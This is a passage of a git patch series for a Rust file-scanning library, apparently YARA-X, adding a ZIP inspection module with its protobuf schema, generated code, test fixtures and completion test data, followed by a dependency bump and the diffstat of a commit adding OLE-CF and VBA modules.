} + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.file_path = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.compression = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 24 => { + self.uncompressed_size = ::std::option::Option::Some(is.read_uint64()?); + }, + 32 => { + self.compressed_size = ::std::option::Option::Some(is.read_uint64()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.file_path.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.compression { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.uncompressed_size { + my_size += ::protobuf::rt::uint64_size(3, v); + } + if let Some(v) = self.compressed_size { + my_size += ::protobuf::rt::uint64_size(4, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.file_path.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.compression { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.uncompressed_size { + os.write_uint64(3, v)?; + } + if let Some(v) = self.compressed_size { + os.write_uint64(4, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Entry { + Entry::new() + } + + fn clear(&mut self) { + self.file_path = ::std::option::Option::None; + self.compression = ::std::option::Option::None; + self.uncompressed_size = ::std::option::Option::None; + self.compressed_size = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Entry { + static instance: Entry = Entry { + file_path: ::std::option::Option::None, + compression: ::std::option::Option::None, + uncompressed_size: ::std::option::Option::None, + compressed_size: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Entry { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Entry").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Entry { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Entry { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:zip.Zip) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Zip { + // message fields + // @@protoc_insertion_point(field:zip.Zip.extracted_file_count) + pub extracted_file_count: ::std::option::Option, + // @@protoc_insertion_point(field:zip.Zip.is_zip) + pub is_zip: ::std::option::Option, + // @@protoc_insertion_point(field:zip.Zip.entries) + pub entries: ::std::vec::Vec, + // special fields + // @@protoc_insertion_point(special_field:zip.Zip.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Zip { + fn default() -> &'a Zip { + ::default_instance() + } +} + +impl Zip { + pub fn new() -> Zip { + ::std::default::Default::default() + } + + // optional int64 extracted_file_count = 1; + + pub fn extracted_file_count(&self) -> i64 { + self.extracted_file_count.unwrap_or(0) + } + + pub fn clear_extracted_file_count(&mut self) { + self.extracted_file_count = ::std::option::Option::None; + } + + pub fn has_extracted_file_count(&self) -> bool { + self.extracted_file_count.is_some() + } + + // Param is passed by value, moved + pub fn set_extracted_file_count(&mut self, v: i64) { + self.extracted_file_count = ::std::option::Option::Some(v); + } + + // optional bool is_zip = 2; + + pub fn is_zip(&self) -> bool { + self.is_zip.unwrap_or(false) + } + + pub fn clear_is_zip(&mut self) { + self.is_zip = ::std::option::Option::None; + } + + pub fn has_is_zip(&self) -> bool { + self.is_zip.is_some() + } + + // Param is passed by value, moved + pub fn set_is_zip(&mut self, v: bool) { + self.is_zip = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "extracted_file_count", + |m: &Zip| { &m.extracted_file_count }, + |m: &mut Zip| { &mut m.extracted_file_count }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "is_zip", + |m: &Zip| { &m.is_zip }, + |m: &mut Zip| { &mut m.is_zip }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "entries", + |m: &Zip| { &m.entries }, + |m: &mut Zip| { &mut m.entries }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Zip", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Zip { + const NAME: &'static str = "Zip"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.extracted_file_count = ::std::option::Option::Some(is.read_int64()?); + }, + 16 => { + self.is_zip = ::std::option::Option::Some(is.read_bool()?); + }, + 26 => { + self.entries.push(is.read_message()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.extracted_file_count { + my_size += ::protobuf::rt::int64_size(1, v); + } + if let Some(v) = self.is_zip { + my_size += 1 + 1; + } + for value in &self.entries { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.extracted_file_count { + os.write_int64(1, v)?; + } + if let Some(v) = self.is_zip { + os.write_bool(2, v)?; + } + for v in &self.entries { + ::protobuf::rt::write_message_field_with_cached_size(3, v, os)?; + }; + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Zip { + Zip::new() + } + + fn clear(&mut self) { + self.extracted_file_count = ::std::option::Option::None; + self.is_zip = ::std::option::Option::None; + self.entries.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Zip { + static instance: Zip = Zip { + extracted_file_count: ::std::option::Option::None, + is_zip: ::std::option::Option::None, + entries: ::std::vec::Vec::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Zip { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Zip").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Zip { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Zip { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:zip.Compression) +pub enum Compression { + // @@protoc_insertion_point(enum_value:zip.Compression.STORED) + STORED = 0, + // @@protoc_insertion_point(enum_value:zip.Compression.SHRUNK) + SHRUNK = 1, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_1) + REDUCED_1 = 2, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_2) + REDUCED_2 = 3, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_3) + REDUCED_3 = 4, + // @@protoc_insertion_point(enum_value:zip.Compression.REDUCED_4) + REDUCED_4 = 5, + // @@protoc_insertion_point(enum_value:zip.Compression.IMPLODED) + IMPLODED = 6, + // @@protoc_insertion_point(enum_value:zip.Compression.DEFLATED) + DEFLATED = 8, + // @@protoc_insertion_point(enum_value:zip.Compression.DEFLATE64) + DEFLATE64 = 9, + // @@protoc_insertion_point(enum_value:zip.Compression.PKWARE_IMPLODING) + PKWARE_IMPLODING = 10, + // @@protoc_insertion_point(enum_value:zip.Compression.BZIP2) + BZIP2 = 12, + // @@protoc_insertion_point(enum_value:zip.Compression.LZMA) + LZMA = 14, + // @@protoc_insertion_point(enum_value:zip.Compression.ZSTD) + ZSTD = 93, + // @@protoc_insertion_point(enum_value:zip.Compression.XZ) + XZ = 95, + // @@protoc_insertion_point(enum_value:zip.Compression.UNKNOWN) + UNKNOWN = 255, +} + +impl ::protobuf::Enum for Compression { + const NAME: &'static str = "Compression"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(Compression::STORED), + 1 => ::std::option::Option::Some(Compression::SHRUNK), + 2 => ::std::option::Option::Some(Compression::REDUCED_1), + 3 => ::std::option::Option::Some(Compression::REDUCED_2), + 4 => ::std::option::Option::Some(Compression::REDUCED_3), + 5 => ::std::option::Option::Some(Compression::REDUCED_4), + 6 => ::std::option::Option::Some(Compression::IMPLODED), + 8 => ::std::option::Option::Some(Compression::DEFLATED), + 9 => ::std::option::Option::Some(Compression::DEFLATE64), + 10 => ::std::option::Option::Some(Compression::PKWARE_IMPLODING), + 12 => ::std::option::Option::Some(Compression::BZIP2), + 14 => ::std::option::Option::Some(Compression::LZMA), + 93 => ::std::option::Option::Some(Compression::ZSTD), + 95 => ::std::option::Option::Some(Compression::XZ), + 255 => ::std::option::Option::Some(Compression::UNKNOWN), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "STORED" => ::std::option::Option::Some(Compression::STORED), + "SHRUNK" => ::std::option::Option::Some(Compression::SHRUNK), + "REDUCED_1" => ::std::option::Option::Some(Compression::REDUCED_1), + "REDUCED_2" => ::std::option::Option::Some(Compression::REDUCED_2), + "REDUCED_3" => ::std::option::Option::Some(Compression::REDUCED_3), + "REDUCED_4" => ::std::option::Option::Some(Compression::REDUCED_4), + "IMPLODED" => ::std::option::Option::Some(Compression::IMPLODED), + "DEFLATED" => ::std::option::Option::Some(Compression::DEFLATED), + "DEFLATE64" => ::std::option::Option::Some(Compression::DEFLATE64), + "PKWARE_IMPLODING" => ::std::option::Option::Some(Compression::PKWARE_IMPLODING), + "BZIP2" => ::std::option::Option::Some(Compression::BZIP2), + "LZMA" => ::std::option::Option::Some(Compression::LZMA), + "ZSTD" => ::std::option::Option::Some(Compression::ZSTD), + "XZ" => ::std::option::Option::Some(Compression::XZ), + "UNKNOWN" => ::std::option::Option::Some(Compression::UNKNOWN), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [Compression] = &[ + Compression::STORED, + Compression::SHRUNK, + Compression::REDUCED_1, + Compression::REDUCED_2, + Compression::REDUCED_3, + Compression::REDUCED_4, + Compression::IMPLODED, + Compression::DEFLATED, + Compression::DEFLATE64, + Compression::PKWARE_IMPLODING, + Compression::BZIP2, + Compression::LZMA, + Compression::ZSTD, + Compression::XZ, + Compression::UNKNOWN, + ]; +} + +impl ::protobuf::EnumFull for Compression { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("Compression").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + Compression::STORED => 0, + Compression::SHRUNK => 1, + Compression::REDUCED_1 => 2, + Compression::REDUCED_2 => 3, + Compression::REDUCED_3 => 4, + Compression::REDUCED_4 => 5, + Compression::IMPLODED => 6, + Compression::DEFLATED => 7, + Compression::DEFLATE64 => 8, + Compression::PKWARE_IMPLODING => 9, + Compression::BZIP2 => 10, + Compression::LZMA => 11, + Compression::ZSTD => 12, + Compression::XZ => 13, + Compression::UNKNOWN => 14, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for Compression { + fn default() -> Self { + Compression::STORED + } +} + +impl Compression { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("Compression") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\tzip.proto\x12\x03zip\x1a\nyara.proto\"\xae\x01\n\x05Entry\x12\x1b\n\ + \tfile_path\x18\x01\x20\x01(\tR\x08filePath\x122\n\x0bcompression\x18\ + \x02\x20\x01(\x0e2\x10.zip.CompressionR\x0bcompression\x12+\n\x11uncompr\ + essed_size\x18\x03\x20\x01(\x04R\x10uncompressedSize\x12'\n\x0fcompresse\ + d_size\x18\x04\x20\x01(\x04R\x0ecompressedSize\"t\n\x03Zip\x120\n\x14ext\ + racted_file_count\x18\x01\x20\x01(\x03R\x12extractedFileCount\x12\x15\n\ + \x06is_zip\x18\x02\x20\x01(\x08R\x05isZip\x12$\n\x07entries\x18\x03\x20\ + \x03(\x0b2\n.zip.EntryR\x07entries*\xdf\x01\n\x0bCompression\x12\n\n\x06\ + STORED\x10\0\x12\n\n\x06SHRUNK\x10\x01\x12\r\n\tREDUCED_1\x10\x02\x12\r\ + \n\tREDUCED_2\x10\x03\x12\r\n\tREDUCED_3\x10\x04\x12\r\n\tREDUCED_4\x10\ + \x05\x12\x0c\n\x08IMPLODED\x10\x06\x12\x0c\n\x08DEFLATED\x10\x08\x12\r\n\ + \tDEFLATE64\x10\t\x12\x14\n\x10PKWARE_IMPLODING\x10\n\x12\t\n\x05BZIP2\ + \x10\x0c\x12\x08\n\x04LZMA\x10\x0e\x12\x08\n\x04ZSTD\x10]\x12\x06\n\x02X\ + Z\x10_\x12\x0c\n\x07UNKNOWN\x10\xff\x01\x1a\x06\x92\x93\x19\x02\x10\x01B\ + \x1e\xfa\x92\x19\x1a\n\x03zip\x12\x07zip.Zip\x1a\nzip-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(2); + messages.push(Entry::generated_message_descriptor_data()); + messages.push(Zip::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(Compression::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/zip.proto b/lib/src/modules/protos/zip.proto new file mode 100644 index 00000000..0a29e899 --- /dev/null +++ b/lib/src/modules/protos/zip.proto @@ -0,0 +1,43 @@ +syntax = "proto2"; +import "yara.proto"; + +package zip; + +option (yara.module_options) = { + name : "zip" + root_message: "zip.Zip" + cargo_feature: "zip-module" +}; + +enum Compression { + option (yara.enum_options).inline = true; + STORED = 0; + SHRUNK = 1; + REDUCED_1 = 2; + REDUCED_2 = 3; + REDUCED_3 = 4; + REDUCED_4 = 5; + IMPLODED = 6; + DEFLATED = 8; + DEFLATE64 = 9; + PKWARE_IMPLODING = 10; + BZIP2 = 12; + LZMA = 14; + ZSTD = 93; + XZ = 95; + UNKNOWN = 255; +} + +message Entry { + optional string file_path = 1; + optional Compression compression = 2; + optional uint64 uncompressed_size = 3; + optional uint64 compressed_size = 4; +} + +message Zip { + // Number of files successfully extracted from the archive. + optional int64 extracted_file_count = 1; + optional bool is_zip = 2; + repeated Entry entries = 3; +} diff --git a/lib/src/modules/zip/mod.rs b/lib/src/modules/zip/mod.rs new file mode 100644 index 00000000..74730275 --- /dev/null +++ b/lib/src/modules/zip/mod.rs @@ -0,0 +1,68 @@ +use protobuf::Enum; +use tinyzip::Archive; + +use crate::mods::prelude::*; +use crate::modules::ModuleError; +use crate::modules::protos::zip::{Compression, Entry, Zip}; +use crate::register_module; + +pub fn main( + _ctx: &mut ModuleContext, + data: &[u8], +) -> Result { + let mut zip = Zip::new(); + + let archive = match Archive::open(data) { + Ok(arch) => arch, + Err(_) => { + zip.set_is_zip(false); + return Ok(zip); + } + }; + + zip.set_is_zip(true); + + let mut entries = Vec::new(); + let max_entries = 100000; // Guardrail: prevent DoS with huge entry counts + + let mut path_buf = vec![0u8; 65536]; + + for entry in archive.entries().filter_map(|entry| entry.ok()) { + if entries.len() >= max_entries { + break; + } + + let path_bytes = match entry.read_path(&mut path_buf) { + Ok(b) => b, + Err(_) => continue, + }; + + let file_path = String::from_utf8_lossy(path_bytes).to_string(); + + let mut proto_entry = Entry::new(); + + proto_entry.set_file_path(file_path); + proto_entry.set_uncompressed_size(entry.uncompressed_size()); + proto_entry.set_compressed_size(entry.compressed_size()); + + let compression = match entry.compression() { + Ok(tinyzip::Compression::Stored) => Compression::STORED, + Ok(tinyzip::Compression::Deflated) => Compression::DEFLATED, + Err(tinyzip::Error::UnsupportedCompression(raw)) => { + Compression::from_i32(raw as i32) + .unwrap_or(Compression::UNKNOWN) + } + Err(_) => Compression::UNKNOWN, + }; + + proto_entry.compression = Some(compression.into()); + + entries.push(proto_entry); + } + + zip.entries = entries; + + Ok(zip) +} + +register_module!("zip", Zip, main); diff --git a/lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip b/lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..696e1f934f359528c93447b845f048b2163dc034 GIT binary patch literal 365 zcmWIWW@Zs#U|`^2(Cxew^XFFD*84!-3MK{yF(6%Bl3$dX5}%lt5}%TqmXlbLnxdDP z*E=CF?}!11%l~321&POhR4wlO_c+=;JL7gpw7XcM!{X;RIX;OzU=B-oqN%}9nmf0P zvBN~^;4EdG%}HU2nmhDwe~=1y(V6BfswWrQz3)Qg&aBk<$hFa%!?d)`-<1_8OV_h{ zp549Vx`X2OxzPtN{z+z!;QoD{m|FX?;9jB%h~PUb?WDB*r}%ce0k3AiE(CS>&k6{YJGZ^U!S??zwgmc zn!f$!i`4$RhB)L+*>iQ-Yg@)|slWS<)&67(@MdHZVa6ROz;FSBC5<2odk_V9v$BC? N8G+CRNDDK9cmN;fkdXiY literal 0 HcmV?d00001 diff --git a/lib/src/modules/zip/tests/testdata/stored_and_deflated.out b/lib/src/modules/zip/tests/testdata/stored_and_deflated.out new file mode 100644 index 00000000..68d92d29 --- /dev/null +++ b/lib/src/modules/zip/tests/testdata/stored_and_deflated.out @@ -0,0 +1,10 @@ +is_zip: true +entries: + - file_path: "deflated_file.txt" + compression: DEFLATED + uncompressed_size: 21 + compressed_size: 23 + - file_path: "stored_file.txt" + compression: STORED + uncompressed_size: 19 + compressed_size: 19 \ No newline at end of file diff --git a/ls/src/tests/testdata/completion10.response.json b/ls/src/tests/testdata/completion10.response.json index 5041b83a..b10a8786 100644 --- a/ls/src/tests/testdata/completion10.response.json +++ b/ls/src/tests/testdata/completion10.response.json @@ -78,5 +78,10 @@ "kind": 9, "label": "vt", "preselect": true + }, + { + "kind": 9, + "label": "zip", + "preselect": true } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion11.response.json b/ls/src/tests/testdata/completion11.response.json index 5041b83a..b10a8786 100644 --- a/ls/src/tests/testdata/completion11.response.json +++ b/ls/src/tests/testdata/completion11.response.json @@ -78,5 +78,10 @@ "kind": 9, "label": "vt", "preselect": true + }, + { + "kind": 9, + "label": "zip", + "preselect": true } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion14.response.json b/ls/src/tests/testdata/completion14.response.json index a78c6650..dc386473 100644 --- a/ls/src/tests/testdata/completion14.response.json +++ b/ls/src/tests/testdata/completion14.response.json @@ -394,5 +394,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion15.response.json b/ls/src/tests/testdata/completion15.response.json index 6d4f0e6e..78664441 100644 --- a/ls/src/tests/testdata/completion15.response.json +++ b/ls/src/tests/testdata/completion15.response.json @@ -373,5 +373,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion2.response.json b/ls/src/tests/testdata/completion2.response.json index ab40f27a..4503a49c 100644 --- a/ls/src/tests/testdata/completion2.response.json +++ b/ls/src/tests/testdata/completion2.response.json @@ -395,5 +395,24 @@ ], "kind": 9, "label": "vt" + }, + { + "additionalTextEdits": [ + { + "newText": "import \"zip\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "kind": 9, + "label": "zip" } ] \ No newline at end of file From aeb8cfee38465511a7db7aaed91b5a751895ec41 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 18 Jun 2026 15:25:24 +0000 Subject: [PATCH 04/25] chore(deps-dev): bump undici from 7.24.1 to 7.28.0 in /ls/editors/code (#685) Bumps [undici](https://github.com/nodejs/undici) from 7.24.1 to 7.28.0. - [Release notes](https://github.com/nodejs/undici/releases) - [Commits](https://github.com/nodejs/undici/compare/v7.24.1...v7.28.0) --- updated-dependencies: - dependency-name: undici dependency-version: 7.28.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- ls/editors/code/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index 055795a1..30114169 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -5012,9 +5012,9 @@ "license": "MIT" }, "node_modules/undici": { - "version": "7.24.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.24.1.tgz", - "integrity": "sha512-5xoBibbmnjlcR3jdqtY2Lnx7WbrD/tHlT01TmvqZUFVc9Q1w4+j5hbnapTqbcXITMH1ovjq/W7BkqBilHiVAaA==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", + "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", "dev": true, "license": "MIT", "engines": { From 3d0f60f4fb211c97a81e575b120dbf02554f0f4a Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Mon, 22 Jun 2026 10:45:37 +0200 Subject: [PATCH 05/25] feat: implement `olecf` and `vba` modules. (#688) Implement modules `olecf` and `vba`. The former allows inspecting OLE-CF files, the latter allows to extract VBA macros from document.s --------- Co-authored-by: David Magnotti <78613347+davidmagnotti@users.noreply.github.com> --- Cargo.lock | 12 + Cargo.toml | 3 + cli/Cargo.toml | 2 +- cli/src/commands/dump.rs | 14 + lib/Cargo.toml | 21 +- lib/fuzz/Cargo.toml | 6 + lib/fuzz/fuzz_targets/vba_parser.rs | 6 + lib/src/modules/add_modules.rs | 39 + lib/src/modules/field_docs.rs | 4 + lib/src/modules/mod.rs | 26 +- lib/src/modules/modules.rs | 4 + lib/src/modules/olecf/mod.rs | 48 + lib/src/modules/olecf/parser.rs | 582 ++++++++++++ ...f0d3a780f44fbb04fcf7caae34b973eb766.in.zip | Bin 0 -> 12956 bytes ...224f0d3a780f44fbb04fcf7caae34b973eb766.out | 20 + ...6cc04f43f53935a885c99c21148c975a705.in.zip | Bin 0 -> 688 bytes ...6e16cc04f43f53935a885c99c21148c975a705.out | 1 + lib/src/modules/protos/generated/mod.rs | 2 + lib/src/modules/protos/generated/mods.rs | 76 +- lib/src/modules/protos/generated/olecf.rs | 557 ++++++++++++ lib/src/modules/protos/generated/vba.rs | 847 ++++++++++++++++++ lib/src/modules/protos/generated/zip.rs | 66 +- lib/src/modules/protos/mods.proto | 8 +- lib/src/modules/protos/olecf.proto | 32 + lib/src/modules/protos/vba.proto | 40 + lib/src/modules/protos/zip.proto | 6 +- lib/src/modules/tests.rs | 5 +- lib/src/modules/utils/mod.rs | 7 + lib/src/modules/utils/zip.rs | 113 +++ lib/src/modules/vba/mod.rs | 134 +++ lib/src/modules/vba/parser.rs | 684 ++++++++++++++ ...9105065baba29690362014926583bc85f48.in.zip | Bin 0 -> 48747 bytes ...3259105065baba29690362014926583bc85f48.out | 268 ++++++ ...c344eab9377c5875b87046b06dd580a91f1.in.zip | Bin 0 -> 15200 bytes ...488c344eab9377c5875b87046b06dd580a91f1.out | 142 +++ ...b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip | Bin 0 -> 22055 bytes ...ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out | 26 + ...a8ed32e2dff629342e5364a48cd9c01bcb8.in.zip | Bin 0 -> 10077 bytes ...e4ea8ed32e2dff629342e5364a48cd9c01bcb8.out | 34 + ...2d89001e96ac2719e5459108c983f4eef73.in.zip | Bin 0 -> 15383 bytes ...6d92d89001e96ac2719e5459108c983f4eef73.out | 131 +++ ...bb1528f6b029602b049a222bb2588487fc6.in.zip | Bin 0 -> 23278 bytes ...c51bb1528f6b029602b049a222bb2588487fc6.out | 46 + ...f0d3a780f44fbb04fcf7caae34b973eb766.in.zip | Bin 0 -> 12956 bytes ...224f0d3a780f44fbb04fcf7caae34b973eb766.out | 1 + ...ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip | Bin 0 -> 34638 bytes ...779ecc2a98351c3ff1d5722cc0f60bdd30e068.out | 251 ++++++ ...65da037c4a6f7ec0112832b95916ac8a1fb.in.zip | Bin 0 -> 17631 bytes ...63f65da037c4a6f7ec0112832b95916ac8a1fb.out | 26 + ...32fe53c192752c554e28efb2c6157336101.in.zip | Bin 0 -> 7251 bytes ...4b832fe53c192752c554e28efb2c6157336101.out | 44 + lib/src/modules/zip/mod.rs | 67 +- .../tests/testdata/completion10.response.json | 10 + .../tests/testdata/completion11.response.json | 10 + .../tests/testdata/completion14.response.json | 38 + .../tests/testdata/completion15.response.json | 38 + .../tests/testdata/completion2.response.json | 38 + test.yar | 10 - 58 files changed, 4402 insertions(+), 143 deletions(-) create mode 100644 lib/fuzz/fuzz_targets/vba_parser.rs create mode 100644 lib/src/modules/add_modules.rs create mode 100644 lib/src/modules/olecf/mod.rs create mode 100644 lib/src/modules/olecf/parser.rs create mode 100644 lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip create mode 100644 lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out create mode 100644 lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip create mode 100644 lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out create mode 100644 lib/src/modules/protos/generated/olecf.rs create mode 100644 lib/src/modules/protos/generated/vba.rs create mode 100644 lib/src/modules/protos/olecf.proto create mode 100644 lib/src/modules/protos/vba.proto create mode 100644 lib/src/modules/utils/zip.rs create mode 100644 lib/src/modules/vba/mod.rs create mode 100644 lib/src/modules/vba/parser.rs create mode 100644 lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.in.zip create mode 100644 